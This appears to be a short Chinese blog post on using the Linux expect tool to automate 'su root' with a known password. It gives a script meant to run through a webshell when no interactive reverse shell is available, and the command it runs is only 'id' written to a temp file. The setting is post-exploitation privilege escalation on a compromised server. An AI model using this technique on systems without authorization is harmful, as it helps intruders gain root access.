Linux無交互式shell 有root密碼下使用expect執行root命令

linux下的expect命令是一個用來處理交互的命令。藉助Expect,我們可以將交互過程寫在一個腳本上,使之自動化完成。形象的說,ssh登錄,ftp登錄等都符合交互的定義。下文我們首先提出一個問題,然後介紹基礎知四個命令,最後提出解決方法。(expect用法詳情:https://www.cnblogs.com/iloveyoucc/archive/2012/05/11/2496433.html)

在有的特俗情況下,比如只有webshell和root密碼,而且沒有任何辦法反彈出交互式shell的情況下就可以藉助expect切換到root用戶後執行需要執行的命令,實現自動輸入密碼並執行自定義命令功能。

用webshell創建個sh腳本並執行
sh
#!/usr/bin/expect -f
spawn su root
expect "Password"
send "rootpass\r"
expect "root"
send "id > /tmp/id.txt\r"
send "exit\r"
expect eof
exit

這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章